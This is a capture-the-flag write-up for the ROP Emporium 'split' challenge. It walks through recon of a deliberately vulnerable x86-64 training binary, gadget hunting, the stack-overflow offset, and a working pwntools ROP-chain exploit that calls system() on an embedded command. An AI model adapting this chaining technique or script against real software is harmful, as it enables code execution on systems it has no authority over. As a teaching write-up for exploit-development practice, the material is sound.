ROP Emporium: split

Building a ROP chain to call system() with a custom string argument

contents

#Challenge Info

Use ROP (Return-Oriented Programming) to call system("/bin/cat flag.txt") by chaining gadgets together.

#Recon

$ file split
split: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=98755e64e1d0c1bff48fccae1dca9ee9e3c609e2, not stripped
pwndbg> checksec
File:     split
Arch:     amd64
RELRO:      Partial RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        No PIE (0x400000)
Stripped:   No

Same protections as ret2win - no canary, no PIE, but NX is enabled so we need ROP instead of shellcode.

#Gathering Intel

First, let's see what useful strings exist:

$ strings split | grep "flag"
/bin/cat flag.txt

The command we need is in the binary. Now let's find available functions:

pwndbg> info functions
0x0000000000400560  system@plt
0x00000000004006e8  pwnme
0x0000000000400742  usefulFunction

system@plt is available, and there's a usefulFunction:

pwndbg> disass usefulFunction
Dump of assembler code for function usefulFunction:
   0x0000000000400742 <+0>:     push   rbp
   0x0000000000400743 <+1>:     mov    rbp,rsp
   0x0000000000400746 <+4>:     mov    edi,0x40084a
   0x000000000040074b <+9>:     call   0x400560 <system@plt>
   0x0000000000400750 <+14>:    nop
   0x0000000000400751 <+15>:    pop    rbp
   0x0000000000400752 <+16>:    ret
End of assembler dump.

This calls system() but with the wrong argument:

pwndbg> x/s 0x40084a
0x40084a:       "/bin/ls"

Not useful - we need /bin/cat flag.txt. Let's find its address:

$ objdump -s split | grep "cat flag"
 601060 2f62696e 2f636174 20666c61 672e7478 /bin/cat flag.tx

String address: 0x601060

#The ROP Strategy

In x86-64, the first function argument goes in the rdi register. We need to:

  1. Load 0x601060 (our string) into rdi
  2. Call system()

We need a pop rdi; ret gadget:

$ ROPgadget --binary split --only "pop|ret"
Gadgets information
============================================================
0x00000000004007c3 : pop rdi ; ret
0x000000000040053e : ret
...

0x4007c3 - exactly what we need.

#Vulnerability

Same pattern as ret2win, pwnme allocates 32 bytes but reads 96 bytes (0x60):

   0x00000000004006ec <+4>:     sub    rsp,0x20      ; 32 bytes allocated
   ...
   0x0000000000400723 <+59>:    mov    edx,0x60      ; reading 96 bytes!

Offset to return address: 40 bytes (32 buffer + 8 saved RBP)

#Building the ROP Chain

Stack after overflow:
+------------------+
| 'A' * 40         |  <- padding
+------------------+
| pop rdi; ret     |  <- gadget address
+------------------+
| 0x601060         |  <- gets popped into rdi
+------------------+
| system@plt       |  <- execute system(rdi)
+------------------+

Flow:

  1. ret pops 0x4007c3 into RIP
  2. pop rdi pops 0x601060 into RDI
  3. ret pops 0x40074b into RIP
  4. system("/bin/cat flag.txt") executes

#Exploitation

from pwn import *

# addresses
pop_rdi_ret = p64(0x4007c3)
cat_flag = p64(0x601060)
system_call = p64(0x40074b)  # use call system in usefulFunction

p = process('./split')

payload = b'A' * 40
payload += pop_rdi_ret
payload += cat_flag
payload += system_call

p.send(payload)
p.interactive()

Note: We use 0x40074b (the call system inside usefulFunction) rather than system@plt directly to avoid stack alignment issues that can occur with modern libc.

#Key Takeaways

  • ROP chains let us execute arbitrary code even with NX enabled
  • x64 calling convention: first arg in rdi, second in rsi, etc.
  • Gadget hunting: tools like ROPgadget find useful instruction sequences
  • Stack alignment: sometimes you need to be careful about 16-byte alignment when calling libc functions